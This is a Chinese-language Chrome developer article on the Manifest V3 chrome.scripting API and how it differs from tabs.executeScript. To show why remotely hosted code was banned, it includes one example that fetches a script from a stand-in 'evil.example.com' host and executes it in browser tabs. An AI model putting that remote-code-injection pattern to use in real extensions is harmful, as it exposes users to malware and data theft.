Manifest V3 对 Chrome 的扩展程序平台进行了多项变更。在本文中,我们将探讨引入 chrome.scripting
API 这一较为显著的变更的动机和所带来的变化。
什么是 chrome.scripting?
顾名思义,chrome.scripting
是 Manifest V3 中引入的一个新命名空间,负责脚本和样式注入功能。
过去曾创建过 Chrome 扩展程序的开发者可能熟悉 Tabs API 上的 Manifest V2 方法,例如 chrome.tabs.executeScript
和 chrome.tabs.insertCSS
。这两种方法分别允许扩展程序将脚本和样式表注入到网页中。在清单 V3 中,这些功能已移至 chrome.scripting
,我们计划日后通过添加一些新功能来扩展此 API。
为什么要创建新的 API?
面对这样的变化,大家首先想到的问题往往是“为什么?”
由于一些不同的因素,Chrome 团队决定引入一个新的脚本命名空间。
首先,Tabs API 有点像功能的杂物盒。其次,我们需要对现有的 executeScript
API 进行破坏性更改。第三,我们知道自己想要扩展扩展程序的脚本功能。这些问题综合起来,清楚地表明需要一个新的命名空间来容纳脚本功能。
“垃圾”抽屉
过去几年来,一直困扰扩展程序团队的一个问题是 chrome.tabs
API 过载。此 API 首次推出时,它提供的大多数功能都与浏览器标签页的广义概念相关。不过,即使在那时,这项功能也只是一揽子功能,而且这些功能多年来一直在不断增加。
到 Manifest V3 发布时,Tabs API 已扩展到涵盖基本标签页管理、选择管理、窗口整理、消息传递、缩放控制、基本导航、脚本编写以及一些其他较小的功能。虽然这些都很重要,但对于刚开始接触的开发者来说,这些信息可能有点多,对于 Chrome 团队来说,我们在维护平台并考虑来自开发者社区的请求时,也可能会感到有些吃力。
另一个复杂因素是,人们对 tabs
权限知之甚少。虽然许多其他权限会限制对给定 API(例如 storage
)的访问,但此权限有点不同,因为它仅向扩展程序授予对标签页实例上的敏感属性的访问权限(并且通过扩展也影响 Windows API)。可以理解,许多扩展程序开发者误以为需要此权限才能访问 Tabs API 中的方法,例如 chrome.tabs.create
或更准确地说 chrome.tabs.executeScript
。将功能从 Tabs API 中移出有助于消除其中的一些混淆。
重大变更
在设计 Manifest V3 时,我们想要解决的一个主要问题是“远程托管代码”(即执行但未包含在扩展程序软件包中的代码)导致的滥用和恶意软件问题。滥用行为的扩展程序作者通常会执行从远程服务器提取的脚本,以窃取用户数据、注入恶意软件和逃避检测。虽然好人也会使用此功能,但我们最终认为,继续保留此功能实在太危险了。
扩展程序可以通过多种方式执行未捆绑的代码,但这里相关的方法是 Manifest V2 chrome.tabs.executeScript
方法。通过此方法,扩展程序可以在目标标签页中执行任意代码字符串。这反过来意味着,恶意开发者可以从远程服务器提取任意脚本,并在扩展程序可以访问的任何网页中执行该脚本。我们知道,如果想解决远程代码问题,就必须舍弃此功能。
(async function() {
let result = await fetch('https://evil.example.com/malware.js');
let script = await result.text();
chrome.tabs.executeScript({
code: script,
});
})();
我们还希望清理 Manifest V2 版本设计中的一些其他更细微的问题,并使该 API 成为更加精致且可预测的工具。
虽然我们本可以更改 Tabs API 中此方法的签名,但我们认为,在这些破坏性更改和引入新功能(下一部分将介绍)之间,彻底改为新方法对所有人来说都更容易。
扩展脚本功能
在设计 Manifest V3 时,我们还考虑了希望为 Chrome 的扩展程序平台引入其他脚本功能。具体而言,我们希望添加对动态内容脚本的支持,并扩展 executeScript
方法的功能。
动态内容脚本支持一直是 Chromium 中一项长期的功能请求。目前,Manifest V2 和 V3 Chrome 扩展程序只能在其 manifest.json
文件中静态声明内容脚本;该平台不提供在运行时注册新内容脚本、调整内容脚本注册或取消注册内容脚本的方法。
虽然我们知道要在清单 V3 中解决此功能请求,但我们现有的任何 API 都不太适合。我们还考虑过采用与 Firefox 的 Content Scripts API 一致的方法,但在很早期就发现了这种方法的几个主要缺点。首先,我们知道自己会遇到不兼容的签名(例如,不再支持 code
属性)。其次,我们的 API 具有一组不同的设计约束条件(例如,需要注册在 Service Worker 的生命周期之外保留)。最后,此命名空间也会限制我们仅使用内容脚本功能,而我们希望更广泛地考虑在扩展程序中使用脚本。
在 executeScript
方面,我们还希望扩展此 API 的功能,使其超出 Tabs API 版本支持的范围。更具体地说,我们希望支持函数和参数,更轻松地定位到特定帧,以及定位到非“标签页”上下文。
今后,我们还将考虑扩展程序如何与已安装的 PWA 以及在概念上与“标签页”不对应的其他情境进行互动。
tabs.executeScript 和 scripting.executeScript 之间的变化
在本文的其余部分中,我想详细介绍 chrome.tabs.executeScript
和 chrome.scripting.executeScript
之间的相似之处和区别。
注入带有实参的函数
在考虑如何根据远程托管的代码限制来改进平台时,我们希望在允许执行任意代码的强大功能和仅允许使用静态内容脚本之间取得平衡。我们找到的解决方案是允许扩展程序将函数作为内容脚本注入,并将值数组作为参数传递。
我们来快速看一个(过于简化的)示例。假设我们想要注入一个脚本,以便在用户点击扩展程序的操作按钮(工具栏中的图标)时,按用户姓名向其致意。在清单 V2 中,我们可以动态构建代码字符串,并在当前网页中执行该脚本。
// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
let userReq = await fetch('https://example.com/greet-user.js');
let userScript = await userReq.text();
chrome.tabs.executeScript({
// userScript == 'alert("Hello, <GIVEN_NAME>!")'
code: userScript,
});
});
虽然 Manifest V3 扩展程序无法使用未与扩展程序捆绑的代码,但我们的目标是保留为 Manifest V2 扩展程序启用的任意代码块的一些动态特性。借助函数和参数方法,Chrome 应用商店审核员、用户和其他相关方可以更准确地评估扩展程序带来的风险,同时开发者还可以根据用户设置或应用状态修改扩展程序的运行时行为。
// Manifest V3 extension
function greetUser(name) {
alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
let userReq = await fetch('https://example.com/user-data.json');
let user = await userReq.json();
let givenName = user.givenName || '<GIVEN_NAME>';
chrome.scripting.executeScript({
target: {tabId: tab.id},
func: greetUser,
args: [givenName],
});
});
定位框架
我们还希望改进开发者在修订版 API 中与帧交互的方式。executeScript
的清单 V2 版本允许开发者定位到标签页中的所有框架或标签页中的特定框架。您可以使用 chrome.webNavigation.getAllFrames
获取标签页中所有帧的列表。
// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
let frame1 = frames[0].frameId;
let frame2 = frames[1].frameId;
chrome.tabs.executeScript(tab.id, {
frameId: frame1,
file: 'content-script.js',
});
chrome.tabs.executeScript(tab.id, {
frameId: frame2,
file: 'content-script.js',
});
});
});
在清单 V3 中,我们将 options 对象中的可选 frameId
整数属性替换为了可选的 frameIds
整数数组;这样,开发者就可以在单次 API 调用中定位多个帧。
// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
let frame1 = frames[0].frameId;
let frame2 = frames[1].frameId;
chrome.scripting.executeScript({
target: {
tabId: tab.id,
frameIds: [frame1, frame2],
},
files: ['content-script.js'],
});
});
脚本注入结果
我们还改进了在 Manifest V3 中返回脚本注入结果的方式。“结果”基本上是脚本中评估的最终语句。可以将其视为在 Chrome 开发者工具控制台中调用 eval()
或执行代码块时返回的值,但经过序列化以便在进程之间传递结果。
在清单 V2 中,executeScript
和 insertCSS
会返回一个纯执行结果数组。如果您只有一个注入点,则这样做没问题,但在注入多个帧时,无法保证结果顺序,因此无法确定哪个结果与哪个帧相关联。
下面以一个具体的示例来看看同一扩展程序的 Manifest V2 和 Manifest V3 版本返回的 results
数组。这两个版本的扩展程序都会注入相同的内容脚本,我们将在同一演示页面上比较结果。
// content-script.js
var headers = document.querySelectorAll('p');
headers.length;
运行清单 V2 版本时,我们会收到一个 [1, 0, 5]
数组。哪个结果对应于主框架,哪个结果对应于 iframe?返回值并未告知我们,因此我们无法确定。
// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
chrome.tabs.executeScript({
allFrames: true,
file: 'content-script.js',
}, (results) => {
// results == [1, 0, 5]
for (let result of results) {
if (result > 0) {
// Do something with the frame... which one was it?
}
}
});
});
在清单 V3 版本中,results
现在包含结果对象数组,而不是仅包含评估结果数组,并且结果对象会明确标识每个结果的帧 ID。这样一来,开发者就可以更轻松地利用结果并对特定帧采取行动。
// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
let results = await chrome.scripting.executeScript({
target: {tabId: tab.id, allFrames: true},
files: ['content-script.js'],
});
// results == [
// {frameId: 0, result: 1},
// {frameId: 1235, result: 5},
// {frameId: 1234, result: 0}
// ]
for (let result of results) {
if (result.result > 0) {
console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
// Found 1 p tag(s) in frame 0
// Found 5 p tag(s) in frame 1235
}
}
});
小结
清单版本升级是一个难得的机会,可让我们重新思考并改进扩展程序 API。我们推出 Manifest V3 的目标是通过提高扩展程序的安全性来改善最终用户体验,同时改进开发者体验。通过在清单 V3 中引入 chrome.scripting
,我们能够帮助清理 Tabs API,重新构想 executeScript
,以打造更安全的扩展程序平台,并为今年晚些时候推出的新脚本功能奠定基础。